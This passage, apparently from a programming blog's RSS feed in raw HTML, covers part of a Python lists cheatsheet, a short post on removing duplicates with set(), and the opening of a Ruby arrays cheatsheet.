<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;D&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="element-at-a-specific-index">Element at a Specific Index</h3>
<p>Similar to other programming languages, specify an index:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">char</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># &#39;C&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="sorting-lists">Sorting Lists</h2>
<p>We can use <code>sort()</code> to sort a list. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">sort</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>sorted()</code>. This returns a new list and does not modify the original list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">sorted_list</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [4, 5, 1, 3, 2]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">sorted_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="looping-through-lists">Looping Through Lists</h2>
<h3 id="each-element">Each Element</h3>
<p>Use <code>for &lt;element&gt; in &lt;list_name&gt;</code> syntax:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">char</span> <span class="ow">in</span> <span class="n">my_list</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">char</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># D</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="each-index">Each Index</h3>
<p>Use <code>range()</code> and <code>len()</code> to loop through a list&rsquo;s indices:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">index</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 0</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 1</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 2</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="element-and-index">Element and Index</h3>
<p>Use <code>enumerate()</code> to loop through both elements and indices:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;A&#39;</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">element</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">my_list</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;Index: </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s1">, Element: </span><span class="si">{</span><span class="n">element</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># output:</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 0, Element: A</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 1, Element: B</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 2, Element: C</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Index: 3, Element: D</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="other-things-to-know">Other Things to Know</h2>
<h3 id="lists-vs-arrays">Lists vs Arrays</h3>
<p>There are both Arrays and Lists in Python. Arrays are saved contiguously in memory so they are faster for reading but insertion and deletion costs are high. Arrays can only have elements of the same type.</p>
<p>Lists are more flexible. Lists can have elements of different types. The flexibility of Lists results in more memory being used by these data structures.</p>
<p>Here&rsquo;s an example of an Array of integers being created in Python.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># requires a more verbose syntax compared to a List</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># array(&#39;i&#39;, [1, 2, 3, 4, 5])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Attempting to add an element that doesn&rsquo;t match the type of the existing elements results in an error:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">&#34;str&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Traceback (most recent call last):</span>
</span></span><span class="line"><span class="cl"><span class="c1">#   File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># TypeError: &#39;str&#39; object cannot be interpreted as an integer</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Appending elements of the same type will work as expected:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># array(&#39;i&#39;, [1, 2, 3, 4, 5, 6])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can learn more about Arrays in this 

<a href="https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/" target="_blank" rel="noopener">GeeksForGeeks article</a>.</p>
<h3 id="reversing-a-list">Reversing a List</h3>
<p>We can reverse a list using this syntax. This does not modify a list in-place, it returns a new list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">reversed_list</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">reversed_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>list.reverse()</code> to reverse a list. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>There is also a <code>reversed()</code> function. This function returns an iterator which we can then convert back to a list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">reversed_list</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">reversed</span><span class="p">(</span><span class="n">my_list</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">reversed_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="get-number-of-elements-in-a-list">Get Number of Elements in a List</h3>
<p>Use <code>len()</code> to get the number of elements in a list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;c&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="count-number-of-occurrences">Count Number of Occurrences</h3>
<p>We can check for the number of occurrences of a value in a list using <code>.count()</code>. In the example below, we check to see how many times the number <code>1</code> appears in the list, which is 5 times:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 5</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://treyhunner.com/2016/04/how-to-loop-with-indexes-in-python/" target="_blank" rel="noopener">https://treyhunner.com/2016/04/how-to-loop-with-indexes-in-python/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python-get-first-and-last-elements-of-a-list/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python-get-first-and-last-elements-of-a-list/</a></li>
<li>

<a href="https://www.w3schools.com/python/python_lists_add.asp" target="_blank" rel="noopener">https://www.w3schools.com/python/python_lists_add.asp</a></li>
<li>

<a href="https://www.w3schools.com/python/ref_list_sort.asp" target="_blank" rel="noopener">https://www.w3schools.com/python/ref_list_sort.asp</a></li>
<li>

<a href="https://stackoverflow.com/questions/43025748/deleting-first-element-of-a-list-in-python" target="_blank" rel="noopener">https://stackoverflow.com/questions/43025748/deleting-first-element-of-a-list-in-python</a></li>
<li>

<a href="https://docs.python.org/3/library/functions.html#enumerate" target="_blank" rel="noopener">https://docs.python.org/3/library/functions.html#enumerate</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Get Unique Elements in a Python List</title>
      <link>https://nelson.cloud/get-unique-elements-in-a-python-list/?ref=rss</link>
      <pubDate>Mon, 22 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/get-unique-elements-in-a-python-list/?ref=rss</guid>
      <description>Remove duplicate elements from Python lists using the set() function.</description><content:encoded><![CDATA[<p>In Python we can get the unique elements from a list by converting it to a set with <code>set()</code>. Sets are a 

<a href="https://docs.python.org/3/tutorial/datastructures.html#sets" target="_blank" rel="noopener">collection of <strong>unique</strong> elements</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>{1, 2, 3}
</code></pre><p>And if we still need a list instead of a set, we can easily convert back to a list using <code>list()</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># convert to set to get unique values</span>
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># convert back to list</span>
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>[1, 2, 3]
</code></pre><blockquote><p><strong>Warning:</strong></p>The order of elements after using <code>set()</code> is not guaranteed. I wrote the examples in order to make it clear that duplicates were removed.</blockquote>

<hr>
<p>I learned this trick after realizing that unfortunately Python doesn&rsquo;t have a 

<a href="https://apidock.com/ruby/Array/uniq" target="_blank" rel="noopener"><code>uniq()</code> method like Ruby</a> that does this exact thing.</p>
<p>There&rsquo;s also other ways of getting unique values from a list that you can read about in 

<a href="https://www.geeksforgeeks.org/python-get-unique-values-list/" target="_blank" rel="noopener">this GeeksforGeeks article</a>. I didn&rsquo;t cover the other cases because I feel like the easiest way is to use <code>set()</code>.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.python.org/3/tutorial/datastructures.html#sets" target="_blank" rel="noopener">https://docs.python.org/3/tutorial/datastructures.html#sets</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python-get-unique-values-list/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python-get-unique-values-list/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Ruby Arrays Cheatsheet</title>
      <link>https://nelson.cloud/ruby-arrays-cheatsheet/?ref=rss</link>
      <pubDate>Wed, 10 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ruby-arrays-cheatsheet/?ref=rss</guid>
      <description>A Ruby arrays cheatsheet with methods and examples for coding interviews.</description><content:encoded><![CDATA[<p>This is a cheatsheet I made for myself when studying for (

<a href="https://leetcode.com/" target="_blank" rel="noopener">Leetcode</a>/

<a href="https://www.hackerrank.com/" target="_blank" rel="noopener">Hackerrank</a>)-style interviews. It&rsquo;s organized in a way that makes sense to me when I&rsquo;m trying to solve an array problem. I figured I would make it public in case it can help others :)</p>
<p>All examples were run using the 

<a href="https://www.rubyguides.com/2018/12/what-is-a-repl-in-ruby/" target="_blank" rel="noopener">Ruby v3.2.3 REPL</a>.</p>
<h2 id="initializing-an-array">Initializing an Array</h2>
<h3 id="empty-array">Empty Array</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="nb">Array</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; []</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Alternative way:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; []</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="array-with-values">Array with Values</h3>
<p>Initializing an array of integers:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 4, 5]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Initializing an array of strings:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
